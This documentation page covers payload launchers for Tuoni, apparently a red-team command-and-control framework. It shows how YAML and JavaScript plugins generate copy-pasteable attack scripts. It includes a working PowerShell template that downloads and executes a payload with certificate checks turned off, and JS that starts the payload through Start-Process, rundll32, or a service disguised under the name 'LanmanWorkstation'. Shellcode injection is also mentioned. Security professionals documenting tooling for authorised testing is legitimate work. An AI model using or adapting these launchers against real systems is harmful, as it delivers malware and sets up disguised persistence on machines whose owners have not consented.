Skip to content

Payload Launchers

...are type of a client plugin that help deliver Tuoni payloads. As client plugins are in no way isolated from the rest of the client application, they can essentially be used to generate a launcher in any way imaginable from "download and execute" link to embedding a encrypted shellcode within the launcher and performing ShellCode injection and decryption on execution.

General overview

Client launcher is defined in [pluginName].yml file. Any external assets the launcher might need, have to be referenced in that file using relative paths. The idea behind the launcher is that the YAML file can define one or multiple launchers, that eventually generate copy-pasteable attack scripts.

Launcher structure:

attribute explanation
name The name of the launcher that will be displayed in the GUI
match How to match payload types that this launcher is available for
    type Define an array of payload types to match launcher for. Options: EXECUTABLE, DEBUG_EXECUTABLE, SERVICE, DLL, SHELLCODE
    arch Define an array of payload architectures to match launcher for. Options: x64, x86
    platform Define an array of payload operating system platforms to match launcher for. Options: windows
path Location of the template file to use for argument replacement
template If path is not defined, the template attribute can be used to template a string instead. If path is defined, it will override the template.
args An array of key-value pairs to use for templating the template/path
    name Will be used as a Key when replacing things in template. Eg. - name: isHTTPs will search for %%isHTTPs%% inside templates
    jsFn Will be used as a Value when replacing things in template. eg - jsFn: `hello world` will replace the value that is defined in the name parameter
    jsFile Defines a relative filepath to the javascript file that will be used as a Value when replacing things in template. This will override the jsFn attribute, giving the opportunity to have external .js files for development with proper syntax highlighting.

The Path

By default the launchers, are located at

/srv/tuoni/plugins/client/default/launchers/
You can store your launchers at any path in the plugins/client folder or subfolder, as long as it has a proper definition YAML file. The YAML files are dynamically searched on demand and they define where all the rest of the plugin assets are.

The Client Plugin YAML definition

Client plugin is defined in yaml format (file extension: .yml or .yaml).

---
name: Example PowerShell Launcher Plugin by ShellDot
version: 0.5.0
description: |
  Example Powershell All Plugin for ShellDot. This plugin provides a single launcher that uses
  HTTP listeners' payload hosting feature to download and execute a file in PowerShell. This
  launcher is compatible with all types of payloads except for SHELLCODE.

  The launcher template itself is very simple located in main.template.ps1
  %%isHTTPS%% (New-Object System.Net.WebClient).DownloadFile('%%url%%', '%%filename%%');%%execution%%

  The launcher template uses four arguments:
  - isHTTPS:    A boolean value that determines whether the download should be done over HTTPS or HTTP.
                This depends on the HTTP listener configuration.

  - url:        The URL of the file to download. It is provided by the HTTP listener.

  - filename:   The name of the file to save the downloaded file as.
                Default by the GUI would be payload.exe, but it is overriden by args/arg.filename.js.

  - execution: The command to execute the downloaded file.
               This depends on the payload type, and is defined in args/arg.execution.js.

  Arguments are parsed in the order they are defined:
  - Previously parsed arguments will become available to later arguments 
                via argumentsPluginInterface["args.name"]

  A single plugin can define multiple launchers. This plugin defines a single launcher that is compatible
  with all types of payloads except for SHELLCODE.

  NB! Comments inside launcher.path template are not cleaned on generation. They will be in final output.

type: launcher
launchers:
  - name: "PS> Download and Execute"
    match:
      type: ["EXECUTABLE", "DEBUG_EXECUTABLE", "SERVICE", "DLL"]
      arch: ["x64", "x86"]
      platform: ["windows"]
    path: main.template.ps1
    args:
      - name: isHTTPS
        jsFn: |
          listener.configuration.https 
            ? "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};" 
            : "";
      - name: url
      - name: filename
        jsFile: args/arg.filename.js
      - name: execution
        jsFile: args/arg.execution.js

main.template.ps1

Tempaltes use %%argument% notation. The arguments defined in this way will be replaced with the ones evaluated from args array defined in the YAML

%%isHTTPS%% (New-Object System.Net.WebClient).DownloadFile('%%url%%', '%%filename%%');%%execution%%

args/arg.filename.js

/**
 * Example argument JS file for the "ps-all" launcher
 *  NB: SHELLCODE is not supported in this launcher, as it requires different type of handling.
 *  Take a look at the default.examples for SHELLCODE.
 */
const payloadType = payload.configuration.type;
const timestamp = new Date().getTime();
const execution = {
  EXECUTABLE: (filename) => `Start-Process ${filename}`,
  DEBUG_EXECUTABLE: (filename) => `Start-Process ${filename}`,
  SERVICE: (filename) =>
    `New-Service -Name LanmanWorkstation${timestamp} -BinaryPathName (Resolve-Path ${filename});
     Start-Service -Name LanmanWorkstation${timestamp}`,
  DLL: (filename) => {
    if (payload.configuration.dllMethodName) {
      return `rundll32.exe ${filename},${payload.configuration.dllMethodName}`;
    } else {
      return `rundll32.exe ${filename},bob`;
    }
  },
};
execution[payloadType](argumentsPluginInterface["filename"]); //return correct execution command

Development Tips

Launcher Development

  • When developing the launcher, chose the type of the payload you wish to generate launcher for. Then chose the name of your launcher and hit "reload". Every time reload is pressed, it will sync in all the available launchers in the defined path.
  • Keep an eye on your javascript console. The launcher JS code is evaluated in the operator browser using the eval() context, meaning it is very powerful, but things can also break easily.